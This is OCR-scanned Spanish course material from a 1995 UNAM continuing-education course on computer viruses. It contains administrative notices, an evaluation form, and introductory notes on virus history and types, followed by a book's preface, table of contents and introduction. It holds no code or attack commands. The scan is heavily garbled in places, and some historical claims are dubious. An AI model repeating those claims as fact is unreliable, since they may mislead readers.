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CENTRO DE INFORMACION Y DOCUMENTACION
“ING. BRUNO MASCANZONI"

EI Centro de Informacién y Documentacién Ing. Bruno Mascanzoni tiene por

objetivo satisfacer las necesidades de actualizacion y proporcionar una
adecuada informacidén que permita a los ingenieros, profesores y alumnos estar
al tanto del estado actual del conocimiento sobre temas especificos,
enfatizando las investigaciones de vanguardia de los campos de la ingenieria,

tanto nacionales como extranjeras.

Es por ello que se pone a disposicion de los asistentes a los cursos de la DECFI,
asi como del ptblico en general los siguientes servicios:

* Préstamo interno. '

* Préstamo externo.

* Préstamo interbibliotecario.

* Servicio de fotocopiado.

* Consulta a los bancos de datos: librunam, seriunam en cd-rom.

Los materiales a disposicién son:
* Libros.
* Tesis de posgrado.
* Noticias técnicaa.
* Publicaciones periddicas.
* Publicaciones de la Academia Mexicana de Ingenieria.

* Notas de los cursos que se han impartido de 1980 a [a fecha.

En las dreas de ingenieria industrial, civil, electrénica, ciencias de la tierra,

computacién y, mecanica y eléctrica.

El CID se encuentra ubicado en el mezzanine del Palacio de Mineria, lado

oriente.

El horario de servicio es de 10:00 a 19:30 horas de lunes a viernes.
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A LOS ASISTENTES A LOS CURSOS

Las autoridades de la Facultad de Ingenieria, por conducto del jefe de la

Division de Educacion Continua, otorgan una constancia de asistencia a

quienes cumplan con los requisitos establecidos para cada curso.

El control de asistencia se llevara a cabo a través de la persona que le entregé
las notas. Las inasistencias seran computadas por las autoridades de la
Division, con el fin de entregarle constancia solamente a los alumnos que

tengan un ml'nimo de 80% de asistencias.
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Pedimos a los a;}lstentes recoger su constancia el dia de la clausura. Estas se
retendran por Leﬁpﬁ.:r‘l«:a:;:::c:.l; ‘l[in aﬁo, pasado este tiempo la DECFIl no se hara
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directorio de aslstentes que se- entreééiﬁ 6porturﬁnte.
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Con el objeto de mejorar los servicios que la Division de Educacién Continua

ofrece, al final del curso ‘deberan entregar la evaluacién a través de un

cuestionario disefiado para emitir juicios anénimos.

Se recomienda llenar dicha evaluacion conforme los profesores impartan sus
clases, a efecto de no llenar en la ultima sesion las evaluaciones y con esto

sean mas fehacientes sus apreciaciones.

Atentamente
Division de Educaciéon Continua.
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EVALUACION DEL PERSONAL DOCENTE

CURSO : VIRUS INFORMATICOS
Del 26 al 30 Junio, 1995

Conferencista : Ing. Edwin Navarro Pliego

Marque con una "X" , su respuesta.

Los conocimientos del profesor sobre el curso son:

Excelentes Buenos

I
I

Iniml

Regulares :Maios

Las preguntas de los alumnos las contestan con :

:Mucha seguridad :Seguridad Inseguridad
La clase se desarrolla en forma :

:Muy interesante :Interesante Aburrida
El métode de enseiianza del profesor conduce a un aprendizaje :
EExcelente :Bueno :Regular

La organizacién y desarrollo del curso es :

Adecuada ' DMalo

La calidad del material utilizado es :

Excelente :Bueno :Regular :Malo

Le agrado su estancia en la Divisién de Educacién Continua :

I

|

Si

|
|

No, Diga porquei

Recomendaria el curso a otras personas :

Si :NO, Diga porquel

Medio del cual se entero de este curso

|

Certra de lifarmaciin -
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Introduccion

/l/l:l"ud B i 0 1 (’) gi C 0 : Son pequeiios agentes

infecciosos, que no son capaces de vivir independientemente, ni
reproducirse autonomamente.

?/ir'ud In fOITnétiCO : Son pequefias aplicaciones

de Software que son capaces de reproducirse y que provocan anomalias en
los sistemas de computo.

Alguna vez se creyd que sOlo era ciencia ficcion, pero los virus
informaticos han surgido como una seria amenaza.

La Computer Virus Industry Association (CVIA) reportaba ya en
1990, que solo en E.U. se habian detectado mas de 500 formas de
infecciones virales, las cuales afectaron a unas 200 mil computadoras. No
obstante, es posible que aproximadamente un 50% de casos de infeccion
no se hayan denunciado.

El ataque de los virus sorprendié a la mayor parte de los gerentes de
informatica. Los métodos tradicionales que se utilizan para proteger la
informacién son, por lo general, poco efectivos contra los virus y los
prejuicios de informatica con frecuencia dafian més que ayudar con los
esfuerzos para guardar informacidn, recursos personales y tiempo.




Este discurso fue publicado en el articulo Computer Recreations, en mayo (
de 1984, en la edicion de la revista "SCIENTIFIC AMERICAN", invitando
a los lectores a que enviaran 2 délares por correo por una copia de las
gulas para crear sus propios campos de batalla virales.

Pronto los virus de software empezaron a aparecer en los sistemas de
computadoras de las universidades, convirtiéndose en un problema real.

En 1974, Xerox Corporation presenté en E. U. el prlmer programa que ya
contenia un c6digo autoduplicador.

En 1981, los equipos Apple II se vieron afectados por un virus llamado
Cloner, el cual presentaba un pequefio mensaje en forma de poema y se
introducia en los comandos de control e infectaba los discos.

En 1983, el Dr. Fred Cohen realizé un experimento en la Universidad del
Sur de California, presentando el primer virus residente en una PC, por lo (
que hoy se le conoce como el padre de'los virus informaticos.

Los primeros virus que causaron infecciones y dafios de consideracion
aparecieron en 1986. Uno de ellos fué €l Brain o Paquistani.

En 1987, las computadoras Commodore fueron dtacadas por un virus que
infectaba el sector de carga y se posicionaba en la memoria. Ese mismo afio
los expertos de IBM tuvieron que disefiar un programa antivirus para
desinfectar su sistema de correo interno.

En 1988, Aldus Corporation lanz6 al mercado su programa FreeHand para
Macintosh infectados por un virus benigno llamado Macintosh Peace, para
poner un mensaje de paz en las pantallas de las computadoras a fin de
celebrar el amversarlo de la introduccion de la Macmtosh II..




El 11 de Abril de ese mismo afio, aparecié en la edicidon del periodico
Infoworld el reporte de una infeccidon hecha por un virus en las
computadoras personales de la Agencia de Proteccion del Ambiente de la
NASA. Contratistas de la NASA le vendieron a ésta computadoras
personales infectadas. Este virus se activa y después de dos, cuatro o siete
dias de tener la infeccién destruye toda la informacion de los discos. Es
conocido como el virus "SCORES".

También se identificd el virus de Jerusalen que segun algunas versiones,
fué creado por la OLP con motivo del 40 aniversario del ultimo dia en que
Palestina existié como nacion (viernes 13 de Mayo de 1988).

El 2 de Noviembre del mismo afio, las redes ARPANET y NSFnet en E.U.
son infectadas por un gusano, afectando a mas de 6 mil equipos de
instalaciones militares de la NASA, universidades y centros de
investigacion publicos y privados. Este gusano también se infiltré en la
Internet.

En octubre de 1989, un comunicado de un desconocido comando
tecnoterrorista manifestaba que habia infectado una gran cantidad de
computadoras y que el viernes 13 se destruiria automaticamente los
archivos en diskettes y discos duros. Esta profecia no se realizg, sin
embargo, la NASA vio afectado el lanzamiento de su transbordador
espacial Atlantis ya que un desconocido interfirié sus computadoras.

En 1990, en Espaiia, una revista de computacion distribuyd discos
contagiados con el virus de Jerusalen.

En 1994, un caso similar se presentd en México cuando un representante
de Borland distribuy6 entre los asistentes a Softeach México 94, el diskette
de demostracion del programa dBASE IV para windows, infectado con el
virus Monkey.




Clasificacion y Estructura

En general existen cuatro tipos de programas que causan anomalias en los
sistemas de computo:

Los gusanos. Es aquel que devora o destruye informacion a la manera
en que un gusano carcome una fruta o arbol. Este programa se va
moviendo o grabando en diferentes partes de la memoria de la
computadora y a la vez va destruyendo la informacién que se encontraba
antes de su llegada.

Las bombas. Programa que dafia inmediatamente al sistema al ser
activado. Son aplicaciones formadas por secuencias de escape relacionadas
a una instruccién, de tal forma que al ejecutarse dicha instruccién se
dispara la bomba.

Los caballos de Troya. Programas que bajo la apariencia de un
programa util son altamente peligrosos, ya que son capaces de daiiar el
hardware de las computadoras. Una vez que cumple su misién se
autodestruye.

Los virus. Programas que ademas de efectuar todo tipo de dafio son
capaces de reproducirse.

Hacked. Se denomina de esta manera a una copia ilegal de algin
software conocido, que ha sido modificada pero parece legitima; al ejecutar
esta copia se producen problemas y dafios en el sistema.




Los tipos de virus en funcién del sentimiento que causa a los usuarios su
descubrimiento, son los siguientes:

Los simples Los descarados

Los malditos Los estadisticos

Los burlones Los supervisores

Los temporales Los juguetones

Los misteriosos Los mutantes

Los crecidos Los cadticos

Los viajeros Los fisicos .
Los vengadores . Los benignos

Los resentidos

Un programa debe clasificarse como virus si combina los

v

siguientes atributos:

Modificacion de codigos del software que no pertenecen al propio
programa virus, a través del enlace de las estructuras del programa
virus con las estructuras de otros programas.

Facultad de ejercer la modificacion en varios programas.

Facultad para reconocer, marcdndola, una modificacion realizada en
otro(s) programac(s).

Posibilidad de impedir que vuelva a ser modificado el mismo
programa, al reconocer que ya esta infectado o marcado.

El software modificado asimila los atributos anteriores para, a su vez,
iniciar el proceso con otros programas en otros discos.

definicién por Ralph Burguer

5



FUNCIONAMIENTO DE LOS VIRUS
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ESTRUCTURA DE LOS VIRUS

Para que sea exitoso un virus de computadora debe incluir, al menos,
alguna de las siguientes partes:

Uno o varios disparadores

Un sistema de control interno

Uno o varios sistemas de proteccion (ocultamiento)

Uno o varios sistemas de reproduccion y contagio

Uno o varias misiones que cumplir
En forma adicional es frecuente encontrar rutinas de régeneraci(’)n para
reconstruir las partes del virus que pudieran ser dafiadas y programas

portadores del virus que complementan la capacidad de reproducion y
contagio.

Para que el virus surta alglin efecto tiene por fuerza, que estar activo; es
decir, debe ejecutarse. La ejecucion debe pasar mas o menos inadvertida
para el usuario y puede ser iniciada automaticamente al ocurrir algun
evento, por ejemplo, el arranque de la maquina o la ejecucioén de algin
comando del sistema operativo.

10
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Prefacio

E n esta época en que la computacién resulta indispensable
en casi todas las actividades que realiza el ser humano,
se hace necesario que, independientemente de su campo de
trabajo o estudio, toda persona conozca al menos los funda-
mentos de la computacidn, ya que ésla, y en general la infor-
mdtice son, hoy por hoy, un requerimiento fundamental para
tograr un mejor puesto de trabajo en oficinas, industrias, escue-
las, centros de investigacidn o incluso para realizar tareas en el
nusmo hogar.

En general los programas de propdsito especifico como
procesadores du texto, bases de datos, de dibujo, diseiio, ad-
ministrativos y otros, han sido desarrollados por competen-
tes programadores o por empresas de reconocida seriedad
que han dedicado muchas heras, dias, y a veces, afios a su
creacion. Por ello resulta muy lamentable que personas de
mala fe, aprovechando la facilidad con que se pueden copiar
los programas de un disco a otro, se dediquen a la venta ile-
gal de aquéllos, propiciando asi una desleal competencia me-
diante la prictica conocida como pirateria.

También se dan casos como el de los usuarios de computa-
doras que adquicren el programa original o una copia de éste
y la distribuyen entre sus amigos. Esto da como resultadoe
cuatro tipos de pirateria de software: 1a piraleria comercial, quc
promueven ciertos vendedores de computadoras como
atractivo para sus chentes; la pirateria ewmpresarial, la que reali-
zan algunas compaiias que adquieren un solo paquete de
sollware y luego disinbuyen copias del programa para set
usados simultineamente en todus sus departamentos; la pi
raterin estudhiantil, que desgraciadamente prolifera debido a
alto costo de los programas y la reducida capacidad econd
mica de los jovenes estudianles, y la piraleria de los juegos, que
se realiza a 1odos los niveles.
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Como es evidente, estos hechos violan descaradamente el
derecho de autor. Esta prictica ilegal provoca el malestar de
los programadores y de las casas fabricantes de software,
quienes al ver sus utilidades mermadas aumentan el precio
de venta de los programas para tratar de nivelar las cuantio-
sas pérdidas que por estos conceptos se acumulan.

Asociaciones de fabricantes de software han hecho estima-
ciones —que en algunaos casos son meras especulaciones- de
las copias ilegales que existen, y se cree que circula un pro-
medio de 1 000 copias pirateadas por cada programa origi-
nal. Ademas, de los programas imds populares como Lotus
1-2-3, WordPerfect o dBase, pudiera ser que se utilicen hasta
5000 copias ilegales por cada original.

Algunos programadores han desarrollado esgrenas de pro-
teccidn, los cuales a la vez que dificultan la tarea de copiar un
disco, podrian ocasianar graves problemas en el funciona-
miento de la computadora o daiar la informaci6n que contie-
nen los discos ~particularmente el disco duro o fijo-,
provocando ast la pérdida de informacién importante. Esto
puede suceder cuando se ¢jecuta una copia no autorizada del
software original, asi haya sido hecha para guardar éste en
un lugar seguro.

Obviamente la intencién de la mayoria de estos esquemas
no es la de causar dafio, sino proteger los programas contra
copias ilegales. 5in embargo, en los altimos tiempos se ha ob-
servado una proliferacién de pequefios programas llamados
virus, que por su tamano, modo de afectar la informacién de
los discos, manera de introducirse en la computadora y da-
f0s que causan, han sido comparados con los virus biolégicos
que actian nocivamente en el organismo humano.

Estos daiiinos programas o virus pueden ser generados
con la intencién de molestar al usuario y causar grandes per-
juicios a la informacién que tiene almacenada en sus discos.
No se trata ya de algo disefiado sélo para proteger el softwa-
re creado por el programador, sino mds bien de un programa
realmente creado para perjudicar a los usuarios que copian
los programas propios para distribuirlos entre sus amigos -o
que copian para si los programas de algiin amigo-, 0 a quie-
nes adquieren copias ilegales del software en el mercado negro
a precios muy bajos.

Lo anterior crea una verdadera histeria entre los usuarios
de computadoras, que ya cualquier falla de la computadora
la atribuyen a una infeccién wiral, imaginando al virus como
un fantasma o duende danino que se introeduce en la compu-

Prefaclo 7

tadora para causar maléficas averias y destrozar la informa-
ci6n. Para desterrar esas ideas, es necesario realizar un con-
cienzudo estudio sobre lo que son y lo que no son los virus
informaticos, ya que en adelante formaran parte de la gran

idad informdlica. _
Cmg:‘gdustedfvictima inocente de algiin virus, este libro pue-
de ayudarle a despejar ¢l misterio relacionado con cllos pll)r-
que le informa sobre 10s métodos de deteccién, .“?’mrcf y
erradicacién, y acerca de los anhivirus, vacunas y vigl antes ci
monitores, que cuidan su computadora para que no s,ea u?
fectada por uno de esos temibles programas, a finde ]0‘5".?"? a_
tranquilidad y seguridad necesarias para la buena ul: ma_
cién y el 6ptimo aprovechamlcnto’de la compuladoraa ertra
mienta indispensable ¢n esta epoca de sorprendentes
avances tecnolégicos en el campo dela informdlica,

G.FC.



Reconocimiento Contenido

E § muy satisfactorio para mi expresar un reconocimiento
publico a las personas que de alguna manera, con su
apoyo, consejos y colaboracion hicieron posible esta obra.
En estas lineas dejo palpable mi agradecimiento a quienes
con sus conacimientos y dedicacién me ayudaron a escalar
este nuevo peldano en la realizacién de la mota que me he

filjado ¢n ¢l inquictante y dindmico mundo de la computa- Prefacio 5
cion.
En primer término a Ma i ; i ) i

P rmina a Martha F_Ie?n_a’ hgueroq G. por sus ati- Reconocinuentos 8
nados comentarios durante la revisién ortografica de los tex-
tos originales. Al ing. Alberto Rojas por la generosidad de su ' Intreducci6 13
valioso tiempo dedicado a desénsamblar codigos de virus. Al niroducaon
Ing. Fernando Sudrez Arias, que contribuye en esta obra a en- 1.1 Acerca del contenido de este libro 15
riquecerla con sus experiencias acerca de los virus informéti- 12 Convenciones para facililar la lectura 15

cos. También debo mencionar a Enrique Garcia Carmona por ‘

por su tenaz ayuda en el proceso de produccidn, y en general

a todos quienes de alguna forma trabajaron a mi lado, pues ¢l Informatica 1.1 Qué es una computadora 21
esfuerzo conjunto es lo dnico que nos puede llevar a la plena 1.2 Evolucién de las computadoras 22
realizacién de nuestros objetivos. i 1.3 Programacién 23

Un especial reconocimiento a McAfee Associates, en la 1.3.1 Lenguajes de programacién 24
persona de Aryeh Goretsky, al Ing. José R. Gallardo H., al Lic. ‘ 1.4 Programas comerciales 27
José Antonio Lépez Saucedo, al Ing. Carlos A Soto de McA- 141 Programas de instalacién 28

fee Associates México, al Actuario Roberto Parker y a José

Francisco Ruisefior, por su contribucién desinteresada en la _

lucha contra los virus.

Almacena- 2.1 Por qué se almacenan los datos 33
miento de la 2.2 Estructura de los discos 36
Informacion 221 Quées el factor de intercalacién 37
2.2.2 Qué son los seclores contiguos (Clusters) 38
223 Coémo se almacena la informacién 39

2.2.4  Areas criticas del disco 41



10 Contenido

Qué son Caracteristicas de los virus

los virus 3.2 [os virus iInformadticos existen 48

intormaticos 33 Definicion de virus informético 49
34 Coémo funcionan los virus informdticos 51
3.5 Clasificactén de los virus informdticos 51
3.6 Como detectar infecciones virales 58
3.7 Tallas que no se deben a infecciones virales 59

Historia de 41 Historiade los virus infermaticos 67

los virus 4.2 Histeria causada por los virus informiticos 75

informalicos

NATAS y olios 5.1 Virus infectores del sector de arranque 83
virus 5.1.1 Virus Miguel Angel (Michelangelo) 83
5.1.2 El virus de Turin 87

5.1.3 Elvirus de Paquistdn 95

8.1.4 Virus Stoned 101

5.1.5 Elvirus de Jerusalén 110

5.1.6 Virus NATAS 0 SATAN 130

Los virus mas 6.1 Fuentes de informacién 145
conocidos 6.2 Los virus mds conocidos 147
6.3 Familias de virus 166

Respaldo de 7.1 Métodos de respaldo 172
datos 7.2 Equipos de respaldo 173
7.21 Unidades de respaldoencinta 174

7.2.2 Unidades de discos dpticos 176

7.2.3  Unidades de discos magneto-dpticos 177

724 Discos duros 177

7.2.5 Respaldo de informacion en redes 178

7.3 Programas de respaldo 186

7.4 Programas de utilerias 199

Contenido 11

8 . R . 209
Como proteger- , 8.1 Medidas de seguridad m
sedelosvirus . 8.2 Protecci6n integral 216
8 3 Controversias 218
Legislacién sobre derechos de autor 221

Programas 9.1 Cruzada antivirus
antivirus 9.1.1 Colombia 225
9.1.2 Estados Unidos 227
913 México . 235
9.1.4 Otros paises 238
9.2 Co6mo crear un disquete antivirus 240
9.2.1 Coémo crear un archivo .BAT 240
Indice 243



Los nombres comerciales que aparecen en esie hbro son marcas registradas de sus
propietanos y se mencionan unicamente ¢on fines didicticos, por lo que, Ediciones
Alfaomega, 5 A de C.V no asume ninguna responsabilidad por el uso que se dé a
esta informaci6n, ya que no infringe ningun derecho de registro de marca

Colaboraron en la edicién de esta obra:

Diseiio y proceso de imdgenes
Miguel Angel Ferreyra Cortés
Alberto Ferreyra Anzaldo
Diagramacion

Jesits Garcia Alvarez

Produccién

Guilfermo Gonzilez Dorantes

Introduccion

T raige aqui una frase acunada desde la primera edicion,
que ya se ha convertido en representacidn de lo cotidia-
no respecto a las computadoras: “Hace pocos anos nadie hu-
biera imaginado que su computadora podria enfermar...
presentar sintomas desconocidos... y mucho menos que esta
enfermedad fuera causada por... jun mortifero virus!”. Desde
entonces, en 1990, ya se veia venir el problema de los virus
informaticos, que se propaga a una velocidad poco comiin,

Hoy dia esto parece ser la causa mds frecuente del mal fun-
cionamiento de cualquier compuladora, y también ¢l origen
de costosas pérdidas de informacion tanto en los discos flexi-
bles (Floppy disks) como en los discos fijos o duros (Hard
disks). En ocasiones, los virus pueden provocar perturbacio-
nes en el monitor al momento de ejecutar nuestro programa
preferido, pero creer que una computadora se enferma es
solo fantasia.

Los virus informadticos son hoy una realidad reconocida
por las empresas dedicadas a la fabricacion de software y
hardware, e inclusive las oficinas de gobierno los reconocen
como un problema que mina su productividad en el drea de
la computacidn, ya que sus computadoras —junto con las
computadoras de las instituciones de educacién- son las mas
afectadas. Esto es facil de entender, puesto que es ahi donde
mads personas pueden tener accese a las computadoras y me-
diante la insercion de sus disqueles en ellas, ¢s como se pro-
pagan |os nefastos programas.

¢Por qué llamarlos Virus? La gran simihitud entre el funcio-
namiento de los virus informaticos y los virus biolégicos, pro-
picio que estos pequeiios programas se denominaran virus:
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Los virus broligicos son organismos infinitamente pegque-
fios, ya que miden aproximadamente de 200 a 250 angstroms
~el didmetro de un cabello mide un millon de angstroms-
Los virus informiticos también son programas muy pequeios;
mientras mas pequefios sean y mas control puedan tener so-
bre la computadora, justifican su apelativo.

Los virus bioldgicos infectan las células del organismo hu-
mano, modifican su informacién genética al irse reprodu-
ciendo dentro de las células afectadas, pueden estar latentes
en el organismo durante bastante tiempo sin que éste presen-
te ningun sintoma de infeccién. Los virus informdticos atacan
la parte mas vulnerable del sistema; el sector de carga {Boot
sector), los programas con exlensién .COM, .EXE, .OVL,
.DDLy otros, modifican su estructura y se reproducen dentro
de éstos, también pueden estar latentes en e] sistema -infec-
tando discos y programas—, y no presentar problemas duran-
le largos periodos.

Adicionalmente, cuando sufren mutaciones 10s virus biolg-
gicos, resulta muy dificil detectarlos lo cual los hace extrema-
damente dificiles de combatir una vez que se han presentado
los sintomas, no afectan a todas las células del organismo con
las que entran en contacto, afortunadamente los avances de
la ciencia médica permiten prevenir la infeccién aplicando
vacunas elaboradas con el mismo virus en dosis muy peque-
fias. Los virus informdticos se modifican por si solos para evi-

- tar ser detectados ficilmente, no afectan a todos los archivos

que entran en contacto con ellos y por suerte algunos progra-

- madores han hecho programas que permiten prevenir su

contagio por medio de vacunas; programas antivirus que los
detectan en cuanto se presentan, y los eliminan antes de que
empiecen su destructiva accién,

Se ha hablado mucho en los medios especializados de in-
Jecciones virales que afectaban las computadoras de centros de
investigaciones, de instituciones de educacién o de grandes
empresas, aunque éstas no lo daban a conocer para no admi-
tir la vulnerabilidad de sus equipos y programas. Esto provo-
caba mucho temor y desaliento en la comunidad informatica
mundial que ya habia tenido contacto con esta plaga. Por for-
tuna, el temor al contagio ha servido para concientizar a los
usuarios a fin de que utilicen discos de programas originales
Y no se fien de las copias que se les ofrecen.

Lo anterior devuelve la confianza a los programadores,
quienes al sentirse libres de la intranquilidad que les produ-
ce la proliferacién de la pirateria, disponen de més tiempo
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util para dedicarse a la creacién de nuevos y mejores progra-
mas de verdadera utihdad para nosolros, los usuarios de
computadoras, que estamos dvidos de soltware que realmen-
te ayude a reselver los problemas pequefios o grandes que
confrontamos en nuestro diario quehacer.

|.1 Acerca del contenido de este libro

En Virus en las computadoras se presenta una descripcién de
los virus informaticos y cémo funcionan, las formas maés co-
munes de contagio, los mds conocidos lipos de virus, las téc-
nicas para su prevencion y deteceion, los cuidados que deben
tenerse a fin de evitar el contagio, etc. En esta nueva edicion
se incluyen aigunos listados de virus desensamblados con
Debug, teniendo cuidado de no revelar las interrupciones y
puntos vitales del funcionamiento de los virus para no propi-
ciar el mal uso de esta informacién v, inalmente, en el dis-
quete adjunto se acompafan programas antivirus
introducidos al mercado a raiz de la proliferacién de los di-
versos virus informaticos.

Se analizan varios de estos programas en cuanto a su utili-
dad y confiabilidad; se incluye un listado con el nombre de
cada programa y su autor o autores. Se discuten sus caracte-
risticas principales de funcionamiento, asi como su eficacia
como antivirus. Por altimo, se indica el precio aproximado
en délares estadounidenses de cada programa antivirus (que
haya sido producido en Estados Unidos, México o en algin
otro pais de América).

No obstante, deseamos dejar claro que la tinica solucién
eficaz para combatir los virus informaétices consiste en crear
conciencia en todos y cada uno de los usuarios de que no de-
ben utilizar copias ilegales de ningiin software. Esperamos
que se entienda que la pirateria sdlo sirve para que los terro-
ristas de la mformdtica encuentren un excelente caldo de culti-
vo para diseminar sus maléficos virus, generalmente creados
para ocasionar estragos en la informacidn que tanto esfuerzo
cuesta organizar a quienes tenemos que ganarnos el sustento
diario con una computadora.

1.2 Convenciones para facilitar la lectura

Se ha incluido una serie de ayudas grificas a base de icones
en ¢l margen izquierdo del texto para hacer algunas indica-
ciones, con el objeto de afianzar lo aprendido y lograr una
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E——ll Nota:

Ejemplo: —-

O —

mejor comprension de los temas tratados, Estas ayudas se de-

tallan enseguida

El simbolo del lapiz en posicién de escritura indica que el pdrrafo
es un texto importante para la comprension del tema, y es conve-

niente memorizarlo o anotarlo pues se usara frecuentemente o se
necesitard mas adelante.

Con el simbolo de NOTA se resaltan las notas adicionales al lex-
" to. que permiten una mejor comprension del lema tratado. Ade-

més las notas se diferencian del texto general con una ligera
pantalla como recuadro.

Con este simbolo se hace notar un procedimiento que puede ser

peligroso para su computadora. Se debe tener cuidado al realizar

la operacidn indicada, ya que se corre el riesgo de perder alguna

informacién importante, “congelar” la computadora o provocar al-
' gun trastorno al trabajo que se esté elaborando.

Cuando se vaya a realizar un acceso de grabacién al disco (fijo o
flexible}, aparecerd este simbolo. Deben observarse las reglas indi-
cadas y efectuar la grabacidn con cuidado, ya que se podria sobre-

 escnbir alguna informacién o datos importanies que no podran
_ recuperarse.

Si todo lo que se indicd ha saldo bien y no existe peligro alguno
de realizar mal una operacidn, se seialard con el simbolo ante-

rior. Usted sabrd asi que no hay nada que lemer o que ha tenido
éxito en su cometido.

Después de haber explicado un procedimiento que se puede ha-
cer con &l teclado, se incluye la explicacidn breve para el ratén
{mouse), y se denota con ef simbolo del ratdn a la izquierda.

A lo largo del texlo se van realizando ejercicios o ejemplos que per-
miten realirmar el conocimiento de cada procedimiento explicado.
El simbalo de la izquierda indica dénde empieza el ejemplo, y para
senalar ol final se usa la llecha y una pleca enseguida.

También se ha adoptado una serie de convenciones para

denotar las pulsaciones de teclas o combinaciones de ellas
cuando es necesario,

12 Convenciches para facilitar la leclura 1

Cuando se requiere pulsar una sola tecla para reaigzar algurzas)'_:;m-
cién , se descrbe fa operacion como . pulse.. . oprima. . p

'
ne..., etc.

a tecla, soltaria y enseguida

wando se debe pulsar pnmero und & yef r

gulsar otra, se explica asi- feclee: Wi i) o pulse o2 &) po
ejemplo.

i cia de teclas de manera si-
e necesita pulsar una secuenc nan
(r:nlfjlalr;?loe: se enuncia. teclee[T=] + Fa) + (oec) o pulse {1 + T
por ejemplo.

Las palabras en Wpo cursivo se ulllizan para resallar uq:zgk;lum;a'
portante o que aparece referenciado en el indice altabet
del texto.

Otras ayudas

Se anexa un disquete con algunos programas anhwry;nde(;glsec-
més conocidos ¥ herramienas Gliles para la prevencion ¥
¢ion de virus informaucos.
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3 ) n espaiol; vea ens gu
ma p sentar los del tecladoen e
e I ivalentes en ¢l teclade en
5 ic 5 y sus equivalentes
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L ainformalica os la ciencia de ta informacion Eltérminoe
es acrémmo de INFORnacion auloA1ATICA, que signifi-
ca: lodo aquello que tiene relacidn con e procesanuento de
datos, utibzando las computadoras o los equipos de proceso
automatico de informacion,

La informditica es una crencia relativamente nueva cuva
teenologia cambia rapidamente, por lo que es necesario man-
enerse actuahzados, fanlo con las nuevas téenicas v metodo-
logia, camo con la terminologia v ramas auxiliares que se
utihizan cada dia mds Resulta muy dificil imaginar cualguier
disciplina ctentilica, teenologica, econonuca, social, ete., en
donde no lenga cabida la caencia de la informadtica.

El matemdtico norteamericano Claude E. Shannon es el crea-
dor de la moderna teoria de la informacion, v la define de la
sipaiente manera: “firffornncion es todo lo que reduce la incer-
hdumbre entie diversas alternativas posibles” En inforindtica
la informacion es constderada como sindonimo de datos (Data),
por lo que ¢s comuin utilizar tédrnnnos como proceso de infor-
macion para referirse al proceso dediios, pero conviene aclarar
que desde el punto de vista de la computacion, los datos se
procesan para obtener informacidn congruente v erdenada.

Shannon acund por vez primera cf térmuino 817 —acréommo
de Bhuary drgi=, que es la unidad basica de informacion, y
demostrd que el Algelia de Roale es 1a herramienta mas ade-
cuada para estudiar los sislemas binarios v, por supuesto, su
aplicacion en las compuladoras.

Alpunas de las disciphinas que mas se han desarrollado en
el campo de la informatica son la tefenuitrea, el leleproceso, as
redes de computadoras, el pracesamicnlo de dalos, 1os sislemas
mullnesnarios v, fimalmente, la programaciin, que s una vatio-
sa y necesaria herrannenta para lainformatica en general y la
computacion en particular.

1.1 Qué es una computadora

Computadora s un términe que ha causadoe palémica en el
mundo hispanoparlante. En las publicaciones sobre compu-
tacion provenientes de Espafa se le denomina ordenador
~del vocablo francds Qrdinateur— v con menos frecuencia
compuiador —del mgldés Computer—, mientras que en las pai-
ses latinoamericanos se ha generahzado otra traducaidn del
vacable inglés: computadora

La computadora es un disposilivo electronico capaz de e-
cibir informacion {(Input data), procesarla —ordenarla, reali-
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zar operaciones matematicas con ella, etc.—- y presentar resul-
tados (Output) en la forma deseada —impresa, en pantalla, en
archivos grabados en discos, etc.—.

En ocasiones se ha definido a la computadora como un ce-
rebro electrénico o como un cerebro idiota de alla velocidad,
pero resulta mas apropiado considerarla como un procesa-
dor de datos o solucionador de problemas de propésito gene-
ral y de alta velocidad, ya que dista mucho de poder
compararsele con el cerebro humano.

El valor de la computadora radica en su extraordinaria ve-
locidad de procesamiento y en la exactitud de sus calculos,
cualidades ttiles en tareas repetitivas que resultan tediosas
para el hombre. La computadora puede realizar esas labores
en forma sistemitica, durante las 24 horas del dia y sin pérdi-
da de velocidad, dependiendo solamente del programa que
obviamente debe haber elaborado el ser humano.

1.2 Evolucidn de las computadoras

<+l

El desarrolio cronoldgico —a grandes rasgos— de la evolucién
de la tecnologia desde las primeras calculadoras, hasta llegar
a las computadoras actuales es el siguiente:

Hace miles de afios se invenitd en el cercano oriente el dbaco
de forma primitiva, y esta técnica se hizo muy popular en
casi todo el mundo. Los dbacos mas conocidos hasta nuestros
dias son el chino y el japonés, los cuales son muy parecidos.
Muchos siglos después los romanos también usaron un aba-
co con cuentas de piedra caliza o marmol que se deslizaban
sobre ranuras en una superficie plana; a estas pequefas pie-
dras se les denominé calculi, plural de calculus, de donde sur-
giod el nombre cdlculo.

Fue hasta 1642 cuando Blaise Pascal disefié una maquina
caleutadora mecinica a base de engranes que ya era capaz de
sumar. En 1671 Gottfried Wilhelm Leibnitz, basado en los es-
tudios de Pascal, empieza a trabajar en la construccién de
una calculadora que pudiera multiplicar y dividir, y la termi-
na en 1694.

En 1822 el inglés Charles Babbage trabajé en un proyecto
que él denomind la mdquina diferencial, con la intencion de
producir tablas logaritmicas de hasta 6 cifras, pero el proyecto
nunca fue terminado. Babbage también trabajé en disefiar
una mdquina analitica, la cual tampoco termind pues su tecno-
logia era muy adelantada para su época y nunca pudo cons-
teuir las sofisticadas piezas que disenaba para ella. Algunos
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de los principios de estas maquinas han sido utilizados en la
construccion de las modernas computadoras.

En 1890 el Dr. Herman Hollerith desarrollé un sistema ba-
sado en tarjetas perforadas para codificar datos de ia pobla-

" cidn, el cual se utilizaria durante ¢l censo en Estados Unidos.

En 1896 fundé una compaiia que, al fusionarse después con
otras dos, formé lo que es hoy la International Business Machi-
nes {IBM).

La primera computadora, Mark 1, fue desarrollada por el
Dr. Howard H. Aiken de la Universidad de Harvard, con
apoyo de 1BM desde 1937 hasta 1944, cuando fue puesta en
operacidn. La computadora pesaba unas 5 toneladas y estaba
constituida por 78 maquinas sumadoras conectadas entre si
por 80O kilémetros de cable.

Por esos anos también se desarrollaban otras computado-
ras; en la uruversidad de Pensilvania la Electronic Numerical
Integrator and Calculator (ENIAC),; en la universidad de Cam-
bridge, Inglaterra, la Electronic Delay Storage Automatic Caleu-
lator (EDSAC), que ya incorpora las nuevas ideas sobre
almacenamiento de programas del Dr. John von Newman.

En 1951 se desarrolla la Universal Aulomatic Computer
(UNIVAC) y a partir de entonces la tecnologia avanza a pasos
agigantados hasta llegar a nuestros dias, donde las micro-
computadoras han alcanzado un alto grado de perfeccién en
su funcionamiento por sus altas velocidades de procesa-
miento, gran capacidad de almacenamiento de datos en ia
